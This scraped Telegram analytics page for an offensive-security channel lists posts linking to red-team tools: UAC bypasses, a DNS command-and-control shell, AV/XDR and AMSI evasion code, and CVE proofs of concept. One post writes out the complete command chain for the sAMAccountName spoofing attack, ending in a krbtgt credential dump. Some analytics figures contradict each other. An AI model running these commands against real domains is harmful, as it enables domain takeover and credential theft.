APT
Open in Telegram
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat
Show more📈 Analytical overview of Telegram channel APT
Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 17 243 subscribers, ranking 7 536 in the Technologies & Applications category and 38 103 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 17 243 subscribers.
According to the latest data from 31 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 487 over the last 30 days and by 13 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 44.23%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 0 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 0.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat”
Thanks to the high frequency of updates (latest data received on 01 November, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
17 243
Subscribers
+1324 hours
+1207 days
+48730 days
Posts Archive
17 243
Auto-Elevate
This tool demonstrates the power of UAC bypasses and built-in features of Windows. This utility auto-locates winlogon.exe, steals and impersonates it's process TOKEN, and spawns a new SYSTEM-level process with the stolen token. Combined with UAC bypass method #41 (ICMLuaUtil UAC bypass) from hfiref0x's UACME utility, this utility can auto-elevate a low privileged Administrative account to NT AUTHORITY\SYSTEM.
https://github.com/FULLSHADE/Auto-Elevate
#uac #bypass #windows #tools
17 243
DNS-Black-Cat
Multi-platform toolkit for an interactive C2C DNS shell, by using DNS-Black-Cat, you will be able to execute system commands in shell mode over a fully encrypted covert channel.
https://github.com/lawrenceamer/dns-black-cat
#c2 #dns #redteam
17 243
Quick & Lazy Malware Development
https://capt-meelo.github.io//redteam/maldev/2021/12/15/lazy-maldev.html
#malware #av #evasion #redteam
17 243
PreAuth RCE in ManageEngine ServiceDesk Plus (CVE-2021-44077)
PoC:
https://github.com/horizon3ai/CVE-2021-44077
Research:
https://xz.aliyun.com/t/10631
#manageengine #servicedesk #rce #cve
17 243
Bypass AV & Advanced XDR solutions
Mortar Loader is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:
— Kaspersky
— ESET
— Malewarebytes
— Mcafee
— Cortex XDR
— Windows defender
— Cylance
Research:
https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions
Source:
https://github.com/0xsp-SRD/mortar
#av #xdr #evasion #redteam
17 243
+1Data Masking Bash OneLiner
If you need to mask data from utilities such as Responder\Inveigh for your report, use the following command:
cat hash.txt | awk -F ":" '{print $1"::"$3":"$4":"substr($5,1,4)"***"substr($6,20,20)"***"substr($6,length($6)-8,8)}' | sort -u | sort -u -t : -k 1,1
The following command can be used to mask data HashCat output:
cat hash-hashcat.txt | awk -F ":" '{print ($3"/")$1":"substr($7,1,2)"******"substr($7,length($7)-1,3)}' | sort -u
#report #mask #data #pentest17 243
Cobalt-Clip
Cobalt-clip is clipboard addons for Cobalt Strike to interact with clipboard. With this you can dump, edit and monitor the content of clipboard.
https://github.com/DallasFR/Cobalt-Clip
#cobaltstrike #clipboard #dump
17 243
log4hshell — Quick Guide
https://musana.net/2021/12/13/log4shell-Quick-Guide/
#log4j #waf #bypass #bugbounty
17 243
Basic RedTeam Enumeration Tactics
https://aidenpearce369.github.io/offsec/redteam-enumeration/
#ad #enum #powershell #redteam
17 243
GitLab CI jobs unmasked passwords scanner
https://github.com/Whitespots-OU/gitlab-ci-secrets
#tools #secrets #devsecops
17 243
Find-Hardcoded
You can find hardcoded API key, secret, token, etc...
https://github.com/arijitdirghanji/Find-Hardcoded
#android #apk #find #secrets #tools
17 243
Exploiting CVE-2021-42287/CVE-2021-42278 (Linux)
https://github.com/WazeHell/sam-the-admin
#ad #pac #s4u2self #windows #redteam
17 243
ADenum
ADEnum is a pentesting tool that allows to find misconfiguration through the protocol LDAP and exploit some of those weaknesses with Kerberos.
https://github.com/SecuProject/ADenum
#ad #ldap #kerberos #enumeration #tools
17 243
Automated Exploitation of the CVE-2021-42287/CVE-2021-42278 (Windows)
Binary:
https://github.com/cube0x0/noPac
PowerShell:
https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6
#ad #pac #s4u2self #windows #redteam
17 243
FUD AMSI Bypass
Just released a new obfuscated AMSI bypass script based on 'amsiInitFailed'.
https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_12.ps1
#amsi #bypass #windows #pentest
17 243
Domain Admin in only 5 minutes via Name Impersonation (CVE-2021-42278)
Before patch, there was a weird behavior on the KDC. When requesting a service ticket, if the KDC wasn't able to find the user behind the TGT, it would make another lookup, but this time with an "$" at the end of the name
This allows for a new kind of spoofing attack where attackers that have enough control over a machine account can spoof a domain controller.
Example:
0. Create a сomputer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
1. Clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
2. Rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
3. Obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
4. Reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
5. Bbtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
# https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
# https://exploit.ph/more-samaccountname-impersonation.html
# https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
# https://www.geekby.site/2021/12/samaccountname-spoofing/
# https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383
#ad #pac #s4u2self #windows #redteam17 243
ldapconsole
It's a script allowing to perfom custom LDAP queries to a Windows domain and select specific attributes.
Features
— Authenticate with password
— Authenticate with LM:NT hashes
— Authenticate with kerberos ticket
https://github.com/p0dalirius/ldapconsole
#ldap #query #tools
